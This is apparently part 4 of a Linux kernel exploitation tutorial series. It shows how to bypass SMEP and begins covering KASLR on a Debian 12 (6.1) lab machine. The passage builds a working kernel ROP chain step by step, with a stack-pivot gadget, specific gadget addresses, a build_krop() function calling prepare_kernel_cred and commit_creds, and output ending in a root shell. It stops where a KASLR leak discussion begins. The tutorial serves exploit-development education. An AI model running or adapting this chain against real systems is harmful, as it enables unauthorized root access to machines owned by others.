Introduction to Linux Kernel Exploitation: Mitigation Bypass (KASLR and SMEP) – Part 4

Introduction

In the previous post of this series, we exploited the vulnerability and managed to escalate privileges by executing a shell as the root user. We also addressed an issue during the execution of the exploit, ensuring system stability throughout the process.

However, the entire exploitation was performed with mitigations disabled. When setting up the environment—as shown in the first part of this series—we configured it with mitigations disabled to facilitate our analysis and testing. This is a widespread practice when conducting vulnerability research and exploit development.

Now that we have exploited the vulnerability successfully, we will enable the mitigations individually. Next, we will bypass them to ensure our exploit functions even in environments where these protections are active. The mitigations we will bypass are Supervisor Mode Execution Protection (SMEP) and Kernel Address Space Layout Randomization (KASLR). Others, such as Supervisor Mode Access Prevention (SMAP) and Kernel Page Table Isolation (KPTI), will remain disabled, and we will explain the reasoning behind this at the end of the post.

Motivation and goal

As computing infrastructure becomes increasingly critical to society’s functioning, numerous efforts have been made to minimize security vulnerabilities, from the application layer down to the CPU itself. Some mitigations operate at the CPU architecture level (such as SMEP and SMAP). Others function at the software level, implemented within the operating system’s code (such as KASLR and KPTI).

Although they work differently, they share the same goal: to make it harder to exploit vulnerabilities. This can be achieved by attempting to eliminate an entire class of vulnerability (as previously discussed with NULL Pointer Dereference), preventing a specific exploitation technique (such as ‘ret2usr’ covered in our last post), or making exploitation reliability lower (for example, via KASLR).

It is standard for modern systems and CPUs to employ these mitigations by default. Consequently, we must be prepared to address them when exploiting real-world vulnerabilities. Therefore, bypassing such protections is an essential component of successful vulnerability exploitation.

This post will bypass two essential mitigations for our scenario: SMEP and KASLR. To understand their relevance to our case, we must examine how they function and then identify methods to overcome these obstacles.

SMEP

How SMEP works

SMEP (Supervisor Mode Execution Protection) is a hardware-level mitigation implemented in modern CPUs to prevent code execution from user-space (ring 3) memory while operating in kernel mode (ring 0). In other words, with this mitigation enabled, the CPU is prohibited from executing instructions fetched from user-mode memory addresses while running with kernel-level privileges.

According to the paging mechanism, the U/S (User/Supervisor) bit distinguishes kernel memory pages from user pages. Typically, the kernel can access and execute code regardless of the U/S bit setting, whereas the user can only access pages where the U/S bit is set. With SMEP enabled, executing code from pages with the U/S bit set is forbidden while the CPU operates in kernel mode (Current Privilege Level (CPL) equal to 0), though read and write access remains permitted.

The attack we implemented in the last post did exactly that: it redirected kernel-mode execution to execute code within the user process address space (the ‘ret2usr’ technique, remember?). With SMEP enabled, this technique is no longer viable; therefore, we must find ways to circumvent it.

Enabling SMEP

Before we attempt to bypass the mitigation, let’s enable it in our lab environment to observe its behavior. Currently, our lab setup is configured with SMEP, SMAP, KASLR, and KPTI disabled:

Bash
user@debian12:~$ cat /proc/cmdline
BOOT_IMAGE=/boot/vmlinuz-6.1.0-3-amd64 root=UUID=91cfce81-5ed9-46ab-a77e-3b464dbddff2 ro clearcpuid=smep,smap nokaslr nopti quiet
user@debian12:~$

Let’s re-enable SMEP by modifying the /etc/default/grub file, removing ‘smep,‘ from ‘clearcpuid=smep,smap‘ in the GRUB_CMDLINE_LINUX parameter:

Bash
user@debian12:~$ grep smep /etc/default/grub
GRUB_CMDLINE_LINUX=" clearcpuid=smep,smap nokaslr nopti"
user@debian12:~$ sudo sed -i 's/smep,//' /etc/default/grub
user@debian12:~$ grep smep /etc/default/grub
user@debian12:~$

Once this is done, we must update the GRUB configuration and reboot the machine:

Bash
user@debian12:~$ sudo grub-mkconfig -o /boot/grub/grub.cfg
Generating grub configuration file ...
Found linux image: /boot/vmlinuz-6.1.0-23-amd64
Found initrd image: /boot/initrd.img-6.1.0-23-amd64
Found linux image: /boot/vmlinuz-6.1.0-22-amd64
Found initrd image: /boot/initrd.img-6.1.0-22-amd64
Found linux image: /boot/vmlinuz-6.1.0-3-amd64
Found initrd image: /boot/initrd.img-6.1.0-3-amd64
Warning: os-prober will not be executed to detect other bootable partitions.
Systems on them will not be added to the GRUB boot configuration.
Check GRUB_DISABLE_OS_PROBER documentation entry.
done
user@debian12:~$ sudo reboot

After the system boots, we can verify the configuration by checking the /proc/cmdline file and confirm that the parameter disabling SMEP is no longer present:

Bash
user@debian12:~$ cat /proc/cmdline
BOOT_IMAGE=/boot/vmlinuz-6.1.0-3-amd64 root=UUID=91cfce81-5ed9-46ab-a77e-3b464dbddff2 ro clearcpuid=smap nokaslr nopti quiet
user@debian12:~$

Finally, with SMEP enabled, the exploit we developed in the last post should no longer function, as this mitigation effectively blocks the technique used (‘ret2usr’):

Bash
user@debian12:~$ gcc exploit.c -o exploit $(pkg-config --cflags --libs libnl-3.0 libnl-route-3.0)
user@debian12:~$ ./exploit
[*] Creating namespace
[*] Namespaces created successfully
[*] User mapped to root inside the namespace!
[*] Creating interface bond0
[*] Setting interface bond0 up
[*] Adding a qdisc to bond0 interface
[*] ifindex: 2
[*] Replace qdisc on bond0 interface
Killed
user@debian12:~$

When analyzing the kernel messages through GDB attached to the kernel, we can observe that a page fault occurred due to an attempt to execute code in kernel mode from user-space memory:

Bash
(gdb) lx-dmesg
...
[   78.094837] unable to execute userspace code (SMEP?) (uid: 1000)
[   78.094859] BUG: unable to handle page fault for address: 000055b9e992082c
[   78.094868] #PF: supervisor instruction fetch in kernel mode
[   78.094876] #PF: error_code(0x0011) - permissions violation

At this stage, we must identify a method to circumvent this restriction in order to execute our code and obtain root privileges.

SMEP bypass: Return-Oriented Programming (ROP)

ROP is a technique that consists of chaining assembly instructions (known as gadgets) located within the binary’s code section to construct a payload that achieves the attack objective. Since our scenario involves kernel exploitation, we must search for gadgets within the kernel’s own code section to assemble an execution chain that performs the privilege escalation operations detailed in the previous post: executing commit_creds(prepare_kernel_cred(0)), rtnl_unlock(), swapgs, and sysretq.

NOTE: This is not the only way to use ROP to bypass SMEP. It is also possible to use ROP to disable SMEP entirely and then execute a ‘ret2usr’ attack, as demonstrated in the previous post. However, mitigations have been added to the Linux kernel to prevent this specific approach (introduced in Linux v5.3).

The technique is called Return-Oriented Programming because each gadget used to assemble the execution chain terminates with a ret instruction. As a reminder: the ret instruction redirects the execution flow to the address currently at the top of the stack.

The ROP chain executes instructions based on addresses stored on the stack, but we do not initially control the stack while in kernel mode. Consequently, we must find a way to manipulate the values within the kernel stack before initiating the ROP chain. Since we lack direct control over the kernel stack, one solution is to use the code execution primitive to switch the stack pointer to an address we can manipulate. SMEP doesn’t prevent the kernel from using user-space memory as its stack.

A stack pivot is a gadget that redirects the RSP register to a user-controlled memory address where we can populate it with our ROP chain. Finding a stack-pivot gadget on x86-64 is not hard because of the way the architecture works. By definition, any 32-bit operation while the CPU is operating in 64-bit mode—long mode—zeros out the upper 32 bits. Consequently, any 32-bit operation on the RSP register by the kernel switches the stack to an address we can map and manipulate, effectively giving us control of the kernel stack. This behavior of the x86-64 architecture is documented in the AMD64 Architecture Programmer’s Manual, Volume 1:

Technical document section discussing zero-extension of 32-bit results in 64-bit mode with examples of 64-bit and 32-bit addition operations.

For example, the ROP gadget below serves as a stack-pivot gadget:

ASM
mov $0xff0000, %esp
ret

When executed, the gadget above moves the value 0xff0000 into the ESP register, which automatically zeros out the upper 32 bits of the RSP register. As there’s a clear distinction between kernel and user address space, as seen in the official documentation of the memory map of the user and kernel processes by the Linux kernel, and reproduced below after simplifying it for our purpose, any memory address with the upper 32 bits cleared is part of the user address space.

              =====================================
                  Start addr    |  End addr
              =====================================
          user-space virtual memory, different per mm
              __________________|__________________
              
              0000000000000000  |  00007fffffffffff
              
              __________________|__________________
                                                                          
  Kernel-space virtual memory, shared between all processes:
              _____________________________________
              
              ffff800000000000  |  ffff87ffffffffff
                               ...
              ffffec0000000000  |  fffffbffffffffff
              __________________|__________________

Before executing the stack-pivot gadget, the exploit must map the target memory address and populate it with the ROP chain required for exploitation.

Stack pivot

Let’s now find a stack-pivot gadget from the target kernel. We can identify them within the kernel using specialized tools such as kropr, ropr, or ROPGadget. These tools analyze the vmlinux binary, scanning for opcodes that correspond to assembly instructions suitable for constructing a ROP chain.

By running one of these tools as shown below, we can save the gadgets found to a text file. This is a crucial step because vmlinux is a massive binary; by saving the results, we avoid the overhead of re-scanning the kernel every time we need to look for a new gadget.

Bash
$ kropr vmlinux > gadgets.txt

We need a stack-pivot gadget that moves a 32-bit value directly into the ESP register. To find this, we can filter the tool’s output for gadgets of the type mov esp, VALUE. Since the tool utilizes Intel syntax (Destination, Source), we must ensure the registers are in the correct order when performing our search:

Bash
$ grep 'mov esp, 0x[a-f0-9]*; ret;$' gadgets.txt
...
0xffffffff81905de1: mov esp, 0xf6000000; ret;
...

We can now select one of the identified gadgets to proceed with our exploit. From the available options, we will use the one highlighted in the listing above. To ensure its validity, we can confirm the gadget’s instructions and address using GDB:

Bash
(gdb) x/2i 0xffffffff81905de1
   0xffffffff81905de1 <ip6_finish_output2+545>: mov    $0xf6000000,%esp
   0xffffffff81905de6 <ip6_finish_output2+550>: ret
(gdb)

ATTENTION: It is essential to confirm each gadget with GDB, because the kernel patches its own code at boot time and at runtime, so instructions found statically in vmlinux may differ from what is actually in memory. One example of this mechanism is called alternatives: this post explains the concept (on arm64), and this one covers the x86 implementation. Consequently, if a tool fails to provide a viable option, we often rely on GDB to manually search for the desired gadgets.

With the stack pivot selected, we will now modify the exploit code from the previous post. Instead of directly calling the privesc() function, the vulnerability will now be redirected to execute the stack-pivot gadget.

C
#define STACK_PIVOT     0xffffffff81905de1
...
int main (void) {
...
    ops.destroy = (void *)STACK_PIVOT;
...
}

By executing the updated code, we can verify if the stack pivot was successful by analyzing the resulting error message:

Bash
user@debian12:~$ gcc exploit.c -o exploit $(pkg-config --cflags --libs libnl-3.0 libnl-route-3.0)
user@debian12:~$ ./exploit
[*] Creating namespace
[*] Namespaces created successfully
[*] User mapped to root inside the namespace!
[*] Creating interface bond0
[*] Setting interface bond0 up
[*] Adding a qdisc to bond0 interface
[*] ifindex: 2
[*] Replace qdisc on bond0 interface

Bash
(gdb) lx-dmesg
...
[   24.089916] traps: PANIC: double fault, error_code: 0x0
[   24.089921] double fault: 0000 [#1] PREEMPT SMP NOPTI
...
[   24.089926] RIP: 0010:ip6_finish_output2+0x226/0x630
...
[   24.089933] RSP: 0018:00000000f6000000 EFLAGS: 00010286
...

The kernel logs indicate that a double fault occurred. This exception was triggered at the ip6_finish_output2+0x226 location, which corresponds to the ret instruction of our stack pivot gadget. Notably, the RSP value is now 0xf6000000—the exact address our gadget was designed to load into the register.

We have successfully executed the stack pivot. Now, we must map the memory at this specific address and manually trigger a page fault; this ensures that the page tables are fully populated before the kernel attempts to use this mapping as its stack. We recommend mapping more than one page and populating/initializing all of them. In the code below we map 3 pages, one before and one after the page used as stack by the kernel.

C
#define STACK_PIVOT     0xffffffff81905de1
#define FAKE_STACK      0xf6000000
...
int main (void) {
...
    void *fake_stack;
...
    ops.destroy = (void *)STACK_PIVOT;

    fake_stack = mmap(FAKE_STACK - PAGE_SIZE, PAGE_SIZE * 3, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANON|MAP_PRIVATE, -1, 0);
    if (fake_stack == MAP_FAILED) {
        perror("fake stack mapping");
        exit(EXIT_FAILURE);
    }

    memset(fake_stack,'\0',PAGE_SIZE * 3);
...
}

After implementing these code modifications, we observe a different kernel log message:

Bash
user@debian12:~$ gcc exploit.c -o exploit $(pkg-config --cflags --libs libnl-3.0 libnl-route-3.0)
user@debian12:~$ ./exploit
[*] Creating namespace
[*] Namespaces created successfully
[*] User mapped to root inside the namespace!
[*] Creating interface bond0
[*] Setting interface bond0 up
[*] Adding a qdisc to bond0 interface
[*] ifindex: 2
[*] Replace qdisc on bond0 interface
Killed
user@debian12:~$

Bash
(gdb) lx-dmesg
...
[  142.985525] BUG: kernel NULL pointer dereference, address: 0000000000000000
[  142.985534] #PF: supervisor instruction fetch in kernel mode
[  142.985542] #PF: error_code(0x0011) - permissions violation
...
[  142.985592] RIP: 0010:0x0
[  142.985602] Code: Unable to access opcode bytes at 0xffffffffffffffd6.
[  142.985611] RSP: 0018:00000000f6000008 EFLAGS: 00010286
...

Once again, the logs indicate a NULL pointer dereference and a permission violation. This occurred because our stack pivot gadget concludes with a ret instruction, which pops the value from the top of the stack into the instruction pointer (RIP). Since we pivoted the stack to 0xf6000000 (verified by the RSP value) and that memory region is currently zeroed, the CPU attempted to execute code at address 0x0 (verified by the RIP value).

To validate this reasoning, we can place an arbitrary address—such as 0x414141414141—at the very top of our fake stack and observe if the CPU attempts to execute it. To manage this and future steps systematically, we will create a dedicated function to assemble the entire ROP chain within our redirected stack space.

C
void build_krop (unsigned long *stack) {
    int offset = 0;
    
    if(stack == NULL){
        printf("[-] - Error while building kROP\n");
        exit(EXIT_FAILURE);
    }

    stack[offset++] = 0x414141414141;
}

int main (void) {
...
    memset(fake_stack,'\0',PAGE_SIZE * 3);
    
    build_krop(fake_stack + PAGE_SIZE);
...
}

Bash
user@debian12:~$ gcc exploit.c -o exploit $(pkg-config --cflags --libs libnl-3.0 libnl-route-3.0)
user@debian12:~$ ./exploit
[*] Creating namespace
[*] Namespaces created successfully
[*] User mapped to root inside the namespace!
[*] Creating interface bond0
[*] Setting interface bond0 up
[*] Adding a qdisc to bond0 interface
[*] ifindex: 2
[*] Replace qdisc on bond0 interface
Killed
user@debian12:~$

Bash
(gdb) lx-dmesg
...
[   14.840173] BUG: unable to handle page fault for address: 0000414141414141
[   14.840200] #PF: supervisor instruction fetch in kernel mode
[   14.840210] #PF: error_code(0x0010) - not-present page
...
[   14.840269] RIP: 0010:0x414141414141
[   14.840277] Code: Unable to access opcode bytes at 0x414141414117.
[   14.840286] RSP: 0018:00000000f6000008 EFLAGS: 00010286
...

Note that the CPU attempted to execute code at address 0x414141414141, which matches the exact value we placed at the top of our fake stack. This confirms that the stack pivot is fully functional and the fake kernel stack is being processed correctly by the CPU. With the redirection mechanism verified, the next step is to assemble the complete ROP chain to achieve our final objective.

Local Privilege Escalation using ROP technique

Now that the stack pivot is working as expected, the next step is to build a complete ROP chain using gadgets that perform the operations necessary for privilege escalation. We will construct a chain that is logically analogous to the privesc() function from the previous blog post. Essentially, we are translating that C code into a sequence of gadgets, each ending in ret, found within the kernel binary/memory.

C
void privesc (void) {
    unsigned long *cred;

    cred = prepare_kernel_cred(NULL);

    commit_creds(cred);

    rtnl_unlock();

    asm(
        "swapgs;"

        "mov %0, %%rsp;"
        "mov %1, %%rcx;"
        "mov %2, %%r11;"
        "sysretq;"
        :: "r" (user_rsp),
           "r" (&got_root),
           "r" (user_rflags)
    );
}

The first step is to clear the RDI register (to pass a NULL argument) and call the prepare_kernel_cred() function. To demonstrate the manual approach, we will use GDB to search for a pop rdi; ret gadget. The opcodes for these instructions are 0x5f and 0xc3, respectively. We can scan the Linux kernel’s code section for this specific byte sequence using the following GDB command. It’s important to use the range that is mapped as code, otherwise, we will find gadgets that can’t be executed. We can find the range of the code sections using the GDB commands: info files or maintenance info sections.

Bash
$ as
pop %rdi
ret
$ objdump -d a.out
...
   0:   5f                      pop    %rdi
   1:   c3                      ret
$

Bash
(gdb) find/b1 0xffffffff81000000,0xffffffff81e01ac8, 0x5f,0xc3
0xffffffff8100234d <map_vdso+253>
1 pattern found.
(gdb) x/2i map_vdso+253
   0xffffffff8100234d <map_vdso+253>:   pop    %rdi
   0xffffffff8100234e <map_vdso+254>:   ret
(gdb)

We place the address of the discovered gadget into our fake stack. Following this, we append the value 0x0 (which will be placed into the RDI register when the pop instruction executes) and the address of the prepare_kernel_cred() function, which the subsequent ret instruction will jump to:

C
...
#define     POP_RDI_RET             0xffffffff8100234d

#define     PREPARE_KERNEL_CRED     0xffffffff810cd370
...
void build_krop (unsigned long * stack) {
    int offset = 0;

    stack[offset++] = POP_RDI_RET;
    stack[offset++] = 0;
    stack[offset++] = PREPARE_KERNEL_CRED;
}

We must continue this process, step by step, until we have successfully represented the semantics of the privesc() function: replace the current task’s cred structure with a structure filled with root UID and all capabilities set, execute swapgs and return safely from kernel mode to user mode. The immediate challenge is to find a gadget that moves the return value of prepare_kernel_cred() (stored in RAX) into the RDI register to serve as the first argument for commit_creds(). However, finding a perfectly tailored gadget—such as the one shown below—can be difficult even in a large kernel binary:

ASM
mov %rax, %rdi
ret

Indeed, there is no such gadget in this kernel version. A static search with kropr finds none, and searching the running kernel’s code section with GDB for both encodings of the instruction confirms it:

Bash
$ grep 'mov rdi, rax; ret;$' gadgets.txt
$
Bash
(gdb) find /b 0xffffffff81000000, 0xffffffff81e01ac8, 0x48, 0x89, 0xc7, 0xc3
Pattern not found.
(gdb) find /b 0xffffffff81000000, 0xffffffff81e01ac8, 0x48, 0x8b, 0xf8, 0xc3
Pattern not found.
(gdb)

Constructing a functional ROP chain often requires creative workarounds. When a direct mov instruction is unavailable, we can achieve the same result by utilizing alternative instructions—such as xchg (exchange)—to move the return value into the desired register:

Bash
$ as
xchg %rdi, %rax
ret
$ objdump -d a.out
...
   0:   48 97                   xchg   %rax,%rdi
   2:   c3                      ret
$

As we warned, it will not always be possible to find the ideal gadget easily:

Bash
(gdb) find/b1 0xffffffff81000000,0xffffffff81e01ac8, 0x48,0x97,0xc3
Pattern not found.
(gdb)

We can modify the search key a little and see if what is found meets our purpose:

Bash
(gdb) find/b1 0xffffffff81000000,0xffffffff81e01ac8, 0x48,0x97
0xffffffff81045884 <mmio_stale_data_show_state+100>
1 pattern found.
(gdb) x/5i mmio_stale_data_show_state+100
   0xffffffff81045884 <mmio_stale_data_show_state+100>: xchg   %rax,%rdi
   0xffffffff81045886 <mmio_stale_data_show_state+102>: cmp    $0x0,%al
   0xffffffff81045888 <mmio_stale_data_show_state+104>: cltq
   0xffffffff8104588a <mmio_stale_data_show_state+106>: ret
   0xffffffff8104588b <mmio_stale_data_show_state+107>: int3
(gdb)

NOTE: In this case, the gadget‘s side effects do not cause us any problems, but in some scenarios, they might. In such situations, we must work around the side effects generated.

We put the gadget address followed by the addresses of the commit_creds() and rtnl_unlock() functions:

C
...
#define     POP_RDI_RET                0xffffffff8100234d
#define     XCHG_RAX_RDI_CMP_CLTQ_RET  0xffffffff81045884
#define     PREPARE_KERNEL_CRED        0xffffffff810cd370
#define     COMMIT_CREDS               0xffffffff810cd0d0
#define     RTNL_UNLOCK                0xffffffff817c6ac0
...
void build_krop (unsigned long * stack) {
    int offset = 0;

    stack[offset++] = POP_RDI_RET;
    stack[offset++] = 0;
    stack[offset++] = PREPARE_KERNEL_CRED;

    stack[offset++] = XCHG_RAX_RDI_CMP_CLTQ_RET;
    stack[offset++] = COMMIT_CREDS;

    stack[offset++] = RTNL_UNLOCK;
}

Finally, we need to execute ‘swapgs‘, define a few registers, and execute the ‘sysretq‘ instruction. At this moment, we have to pay attention to the following: to correctly return to user mode using ‘sysretq‘, we must restore the user stack manually (if you don’t remember, reread this part of the previous post). So, we need a ‘pop rsp’ before ‘sysretq’.

Bash
$ grep 'pop rsp; .* sysret' gadgets.txt
0xffffffff81c0018a: mov cr3, rdi; pop rax; pop rdi; pop rsp; swapgs; sysretq;
0xffffffff81c0018b: and bl, bh; pop rax; pop rdi; pop rsp; swapgs; sysretq;
0xffffffff81c0018c: fistp word ptr [rax+0x5f], st; pop rsp; swapgs; sysretq;
0xffffffff81c0018d: pop rax; pop rdi; pop rsp; swapgs; sysretq;
0xffffffff81c0018e: pop rdi; pop rsp; swapgs; sysretq;
0xffffffff81c0018f: pop rsp; swapgs; sysretq;
$

The kernel naturally needs to return to user mode during system call execution. When this happens, the context of the code that executed the system call is saved by the kernel. So, there is code in the kernel, as part of the system call handler, to perform the required operations to return to user mode. As you can see below, the instructions ‘pop %rsp; swapgs; sysretq‘ are found at the end of the syscall handler, as noted in the symbol entry_SYSCALL_64.

Bash
(gdb) x/3i 0xffffffff81c0018f
   0xffffffff81c0018f <entry_SYSCALL_64+399>:   pop    %rsp
   0xffffffff81c00190 <entry_SYSCALL_64+400>:   swapgs
   0xffffffff81c00193 <entry_SYSCALL_64+403>:   sysretq
(gdb)

Before adding this gadget to our code, we have to set up the other required registers to execute the ‘sysretq‘ instruction.

In a very similar way to what we did previously, we look for gadgets that ‘pop‘ to RCX (the function we need to execute in user mode) and R11 (the saved value of RFLAGS):

Bash
$ as
pop %rcx
ret
$ objdump -d a.out
...
   0:   59                      pop    %rcx
   1:   c3                      ret
$ as
pop %r11
ret
$ objdump -d a.out
...
   0:   41 5b                   pop    %r11
   2:   c3                      ret
$

Bash
(gdb) find/b1 0xffffffff81000000,0xffffffff81e01ac8, 0x59,0xc3
0xffffffff8101e7ac <__raw_callee_save_xen_pte_val+28>
1 pattern found.
(gdb) x/2i __raw_callee_save_xen_pte_val+28
   0xffffffff8101e7ac <__raw_callee_save_xen_pte_val+28>:       pop    %rcx
   0xffffffff8101e7ad <__raw_callee_save_xen_pte_val+29>:       ret
(gdb) find/b1 0xffffffff81000000,0xffffffff81e01ac8, 0x41,0x5b,0xc3
0xffffffff81506b1c <io_uring_poll+92>
1 pattern found.
(gdb) x/2i io_uring_poll+92
   0xffffffff81506b1c <io_uring_poll+92>:       pop    %r11
   0xffffffff81506b1e <io_uring_poll+94>:       ret
(gdb) c

As a result, our ROP chain is the following:

C
...
#define     POP_RDI_RET                0xffffffff8100234d
#define     XCHG_RAX_RDI_CMP_CLTQ_RET  0xffffffff81045884
#define     POP_RCX_RET                0xffffffff8101e7ac
#define     POP_R11_RET                0xffffffff81506b1c
#define     POP_RSP_SWAPGS_SYSRETQ     0xffffffff81c0018f
#define     PREPARE_KERNEL_CRED        0xffffffff810cd370
#define     COMMIT_CREDS               0xffffffff810cd0d0
#define     RTNL_UNLOCK                0xffffffff817c6ac0
...
void build_krop (unsigned long * stack) {
    int offset = 0;

    stack[offset++] = POP_RDI_RET;
    stack[offset++] = 0;
    stack[offset++] = PREPARE_KERNEL_CRED;

    stack[offset++] = XCHG_RAX_RDI_CMP_CLTQ_RET;
    stack[offset++] = COMMIT_CREDS;

    stack[offset++] = RTNL_UNLOCK;

    stack[offset++] = POP_RCX_RET;
    stack[offset++] = (unsigned long)&got_root;

    stack[offset++] = POP_R11_RET;
    stack[offset++] = user_rflags;

    stack[offset++] = POP_RSP_SWAPGS_SYSRETQ;
    stack[offset++] = user_rsp;
}

Due to the building of the ROP chain depending on values from the context of the running code, such as the stack and the RFLAGS value, we must execute a function to save these values before building the ROP chain on the fake stack:

C
...
int main (void) {
...
    memset(fake_stack,'\0',PAGE_SIZE * 3);
    save_registers();

    build_krop(fake_stack + PAGE_SIZE);
...
}

Bash
user@debian12:~$ gcc exploit.c -o exploit $(pkg-config --cflags --libs libnl-3.0 libnl-route-3.0) -Wall
user@debian12:~$ ./exploit
[*] Creating namespace
[*] Namespaces created successfully
[*] User mapped to root inside the namespace!
[*] Creating interface bond0
[*] Setting interface bond0 up
[*] Adding a qdisc to bond0 interface
[*] ifindex: 2
[*] Replace qdisc on bond0 interface
[*] Got root!
# id
uid=0(root) gid=0(root) groups=0(root)
# exit
user@debian12:~$

Perfect! We have modified the code we built earlier and can now handle and bypass the SMEP mitigation. Although the kernel is still consuming data from the user address space directly during the exploitation, as with the fake stack, the code execution is now only happening in the kernel address space. But that’s not all. We still have to deal with KASLR.

Kernel Address Space Layout Randomization (KASLR)

How KASLR works

KASLR is a software-level mitigation in the operating system that randomizes the address where the kernel is loaded into memory and of a few dynamically created memory regions. The randomization is performed during the boot process when the machine starts before the system is even available to the user. This means the kernel loading address will change every time the system is restarted, but it remains the same throughout its operation.

The general idea behind KASLR is relatively simple. The kernel binary loaded in memory is relocated to a different base address during each system boot. This different base address is the normal base address shifted by a random offset that is called a KASLR slide. As the whole ELF kernel binary is relocated, this means the relative distances among loaded sections (including symbols) remain the same after randomization. This is important when thinking about how we can bypass KASLR. KASLR makes the exploitation of kernel vulnerabilities harder because without a KASLR bypass, an exploit can’t know the addresses of kernel functions and structures.

ATTENTION: It is important to note that address randomization unrelated to KASLR may occur. Examples include the order of dynamically allocated objects or modules loaded during or after system startup.

The exploit we have done so far has the addresses of the functions (prepare_kernel_cred(), commit_creds(), and rtnl_unlock()) and the addresses of the ROP gadgets hard-coded. In other words, their values are fixed in the source code of our exploit. With KASLR enabled, these addresses change every time the system boots, preventing the exploit from working correctly.

Because of this, we need to find a way to resolve this issue. But first, let’s test the code with KASLR enabled and see the result.

Running the code with KASLR enabled

Let’s enable it and run the exploit to see how the mitigation works. To do this, follow the steps you already know:

  1. Modify the file /etc/default/grub
  2. Generate the GRUB configuration
  3. Restart the machine
  4. Run the exploit
Bash
user@debian12:~$ cat /proc/cmdline
BOOT_IMAGE=/boot/vmlinuz-6.1.0-3-amd64 root=UUID=91cfce81-5ed9-46ab-a77e-3b464dbddff2 ro clearcpuid=smap nokaslr nopti quiet
user@debian12:~$ sudo sed -i 's/nokaslr//' /etc/default/grub
[sudo] password for user:
user@debian12:~$ sudo grub-mkconfig -o /boot/grub/grub.cfg
Generating grub configuration file ...
Found linux image: /boot/vmlinuz-6.1.0-23-amd64
Found initrd image: /boot/initrd.img-6.1.0-23-amd64
Found linux image: /boot/vmlinuz-6.1.0-22-amd64
Found initrd image: /boot/initrd.img-6.1.0-22-amd64
Found linux image: /boot/vmlinuz-6.1.0-3-amd64
Found initrd image: /boot/initrd.img-6.1.0-3-amd64
Warning: os-prober will not be executed to detect other bootable partitions.
Systems on them will not be added to the GRUB boot configuration.
Check GRUB_DISABLE_OS_PROBER documentation entry.
done
user@debian12:~$ sudo reboot

Bash
user@debian12:~$ cat /proc/cmdline
BOOT_IMAGE=/boot/vmlinuz-6.1.0-3-amd64 root=UUID=91cfce81-5ed9-46ab-a77e-3b464dbddff2 ro clearcpuid=smap nopti quiet
user@debian12:~$ ./exploit
[*] Creating namespace
[*] Namespaces created successfully
[*] User mapped to root inside the namespace!
[*] Creating interface bond0
[*] Setting interface bond0 up
[*] Adding a qdisc to bond0 interface
[*] ifindex: 2
[*] Replace qdisc on bond0 interface
Killed
user@debian12:~$

NOTE: With KASLR enabled, kernel debugging with GDB becomes harder. The addresses defined in the ‘vmlinux‘ binary do not match the kernel running in the virtual machine anymore. We could fix this by finding the correct addresses and setting a KASLR slide in GDB. But even in this case, some mechanisms in GDB might not work as expected.

Once this process is complete, we will turn off the mitigation again to work on the bypass:

Bash
user@debian12:~$ sudo sed -i 's/nopti/nokaslr nopti/' /etc/default/grub
[sudo] password for user:
user@debian12:~$ sudo grub-mkconfig -o /boot/grub/grub.cfg
Generating grub configuration file ...
Found linux image: /boot/vmlinuz-6.1.0-23-amd64
Found initrd image: /boot/initrd.img-6.1.0-23-amd64
Found linux image: /boot/vmlinuz-6.1.0-22-amd64
Found initrd image: /boot/initrd.img-6.1.0-22-amd64
Found linux image: /boot/vmlinuz-6.1.0-3-amd64
Found initrd image: /boot/initrd.img-6.1.0-3-amd64
Warning: os-prober will not be executed to detect other bootable partitions.
Systems on them will not be added to the GRUB boot configuration.
Check GRUB_DISABLE_OS_PROBER documentation entry.
done
user@debian12:~$ sudo reboot

...

user@debian12:~$ cat /proc/cmdline
BOOT_IMAGE=/boot/vmlinuz-6.1.0-3-amd64 root=UUID=91cfce81-5ed9-46ab-a77e-3b464dbddff2 ro clearcpuid=smap nokaslr nopti quiet
user@debian12:~$

KASLR Bypass: Information Leak

As we explained earlier, whether KASLR is enabled or turned off, the relative distances between symbols in the kernel binary remain the same. So, to bypass it, we need to find the KASLR slide used to randomize the kernel base address. Once this value is obtained for one symbol, it becomes valid for the other ones. The following mathematical relationship is valid:

Bash
NON-RANDOMIZED SYMBOL ADDRESS + KASLR SLIDE = RANDOMIZED SYMBOL ADDRESS

RANDOMIZED SYMBOL ADDRESS - NON-RANDOMIZED SYMBOL ADDRESS = KASLR SLIDE

The goal is to obtain, before or during the exploit execution, the KASLR slide applied. A value easily found in the mathematical relation above is the non-randomized kernel address. We can find them in the kernel binary with symbols that we downloaded when we configured the environment. It’s the same binary already being used in GDB. It is possible to obtain the non-randomized address for any Linux kernel provided by distributions, regardless of the Linux version or distribution flavor, because they usually provide them in the package repositories. By obtaining the randomized address while KASLR is enabled, it is possible to compute the KASLR slide value and de-randomize the entire binary/symbols of the running kernel in the virtual machine.

See, for example, when such calculation is done, the value obtained for the KASLR slide is 0x7e00000. First, we get the randomized value in a live system through /proc/kallsyms.

Bash
user@debian12:~$ cat /proc/cmdline
BOOT_IMAGE=/boot/vmlinuz-6.1.0-3-amd64 root=UUID=91cfce81-5ed9-46ab-a77e-3b464dbddff2 ro clearcpuid=smap nopti quiet
user@debian12:~$ sudo cat /proc/kallsyms | grep -w commit_creds
[sudo] password for user:
ffffffff88ecd0d0 T commit_creds
user@debian12:~$

Second, we obtain the non-randomized kernel address from the kernel binary used in GDB. The current kernel slide for this execution is 0x7e00000.

Bash
(gdb) p &commit_creds
$3 = (int (*)(struct cred *)) 0xffffffff810cd0d0 <commit_creds>
(gdb) p/x 0xffffffff88ecd0d0 - 0xffffffff810cd0d0
$4 = 0x7e00000
(gdb)

Being able to leak a randomized kernel address is a vulnerability because it allows the randomization provided by KASLR to be broken, consequently aiding the exploitation of the vulnerabilities. Because of this, several initiatives have been implemented to prevent leaks from occurring. Previously, kernel addresses were readily available in several locations on the system, including the kernel ring buffer (dmesg), which was accessible via dmesg or through several files in the /proc and /sys file system.

Nowadays, there aren’t many universal, publicly known ways to leak randomized kernel addresses, especially in a not-so-old kernel like Debian 12 (kernel version 6.1). However, the vulnerabilities can often be abused to achieve primitives that allow leaking of randomized kernel addresses. This way, we can obtain the randomized address without needing an additional information leak vulnerability.

As we have mentioned in the previous post of this series, the affected function writes values to the object we have control over (struct Qdisc, struct Qdisc_ops, and struct netdev_queue), so we can check to see if there is anything there that could be interesting.

In the previous post, we showed part of the code for the dev_graft_qdisc() function, which returns the ‘qdisc‘ object used in the loop in the mq_attach() function and is passed in to qdisc_put(). In addition to the piece of code we showed, there is another part that is interesting for our purpose:

C
